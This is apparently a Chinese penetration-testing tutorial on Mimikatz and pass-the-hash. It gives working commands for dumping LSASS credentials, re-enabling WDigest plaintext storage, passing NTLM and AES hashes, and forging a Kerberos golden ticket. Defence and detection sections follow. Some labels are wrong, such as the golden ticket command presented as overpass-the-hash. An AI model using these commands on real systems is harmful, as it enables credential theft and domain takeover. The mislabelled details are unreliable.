1. Mimikatz工具基础解析Mimikatz这款神器在安全圈可谓无人不知它最初由法国安全研究员Benjamin开发本意是作为Windows系统的调试工具。但因其能直接提取系统内存中的明文密码和哈希值迅速成为渗透测试人员的瑞士军刀。我第一次接触这个工具是在2013年的一次内网渗透项目中当时它帮我成功获取了域管理员的凭证。工具的核心功能模块相当丰富sekurlsa这个模块专门用于提取内存中的登录凭证lsadump用于从LSASS进程内存中提取凭证kerberos处理Kerberos票据相关操作privilege权限提升相关功能安装使用非常简单下载解压后直接运行mimikatz.exe即可。但要注意的是从Windows 8.1和Server 2012 R2开始微软默认禁用了内存中存储明文密码的功能。不过我们可以通过修改注册表来绕过这个限制reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f修改后需要用户重新登录才会生效。在实际测试中我发现这个技巧对Windows 10 1809之后的版本效果会打折扣这时候就需要结合procdump等工具先dump lsass进程内存再离线分析。2. 哈希传递攻击原理详解哈希传递(Pass-the-Hash, PTH)攻击是我在内网渗透中最常用的技术之一。它的精妙之处在于完全不需要知道用户的明文密码只要获取到NTLM哈希值就能完成身份验证。这就像是用密码的指纹代替了密码本身。为什么这种攻击能成功这要从Windows的认证机制说起。NTLM认证过程中客户端实际上发送的是密码哈希的加密形式而不是明文密码。服务器验证的也是这个哈希值。攻击者如果获取了这个哈希就可以直接用它来通过认证完全不需要破解出原始密码。哈希传递攻击特别适合以下场景域环境中的横向移动获取了哈希但无法破解出明文内网中存在相同密码的机器需要快速扩大控制范围时我曾在一次红队演练中通过获取的一台普通域成员机的哈希成功控制了整个域。因为域管理员在其他机器上使用了相同的密码这就是典型的哈希重用问题。3. 实战操作使用Mimikatz进行PTH攻击让我们来看一个完整的PTH攻击流程。首先需要获取目标系统的哈希值这可以通过多种方式实现privilege::debug sekurlsa::logonpasswords执行后会显示类似如下的输出Authentication Id : 0 ; 308124 (00000000:0004b31c) Session : Interactive from 1 User Name : Administrator Domain : TESTLAB Logon Server : DC01 Logon Time : 2023/5/15 10:23:09 SID : S-1-5-21-1454471165-1004336348-1606980848-500 msv : [00000003] Primary * Username : Administrator * Domain : TESTLAB * NTLM : 2cefb09dda6d6f9becfa3c0f56c3dad7 * SHA1 : 7a21990f1439cff367d5a97344b1b9c3c03f5c0a拿到NTLM哈希后就可以开始传递攻击了sekurlsa::pth /user:Administrator /domain:192.168.1.100 /ntlm:2cefb09dda6d6f9becfa3c0f56c3dad7这个命令会弹出一个新的CMD窗口在这个窗口中执行的操作都会以Administrator身份进行。比如我们可以尝试访问目标共享dir \\192.168.1.100\c$在实际项目中我遇到过几个常见问题权限不足确保以管理员身份运行Mimikatz防火墙拦截可能需要先关闭防火墙或添加例外规则UAC限制高完整性级别下才能成功4. 高级技巧与变种攻击除了基本的PTH还有一些进阶用法值得掌握。比如Overpass-the-Hash(OPTH)攻击它利用Kerberos认证机制将哈希转换为TGT票据kerberos::purge kerberos::golden /user:Administrator /domain:testlab.com /sid:S-1-5-21-1454471165-1004336348-1606980848 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ptt这个技巧在域环境中特别有效因为Kerberos票据可以跨多台机器使用。另一个实用技巧是使用AES密钥进行传递。从Windows 7/Server 2008 R2开始系统默认会使用AES加密sekurlsa::pth /user:Administrator /domain:testlab.com /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a4428195cdf3f5dc0bd4在实际渗透中我经常结合多种技术。比如先用PTH获取一台机器的控制权然后dump内存获取更多凭证再使用这些凭证继续横向移动。这种蛙跳战术在内网渗透中非常高效。5. 防御策略与最佳实践作为防守方如何防范这类攻击呢根据我的实战经验推荐以下几种防护措施禁用NTLM认证尽可能使用Kerberos认证# 组策略设置计算机配置→策略→Windows设置→安全设置→本地策略→安全选项→网络安全限制NTLM启用Credential Guard这个功能可以有效防止凭证窃取# 启用命令 bcdedit /set {current} deviceguard enable bcdedit /set {current} launchcfg lm限制本地管理员权限实施最小权限原则监控异常行为特别关注以下事件ID4624登录事件4768Kerberos认证票证请求4672特殊权限分配定期修改密码特别是服务账户和管理员账户在企业环境中我建议部署LAPS(本地管理员密码解决方案)它能自动管理每台机器的本地管理员密码大大降低PTH攻击的风险。6. 检测与响应措施当怀疑遭受PTH攻击时应该立即采取以下步骤收集日志重点检查安全日志中的异常登录事件隔离受影响系统防止攻击者继续横向移动重置相关凭证包括可能泄露的哈希对应的所有账户分析攻击路径确定初始入侵点一个实用的检测技巧是监控LSASS进程的异常访问。可以使用Sysmon配置如下规则RuleGroup name groupRelationor ProcessAccess onmatchinclude TargetImage conditioncontainslsass.exe/TargetImage /ProcessAccess /RuleGroup在应急响应中我发现很多企业忽略了日志的重要性。实际上正确配置的日志可以帮我们快速定位攻击行为。建议至少保留6个月的安全日志并确保关键事件不会被覆盖。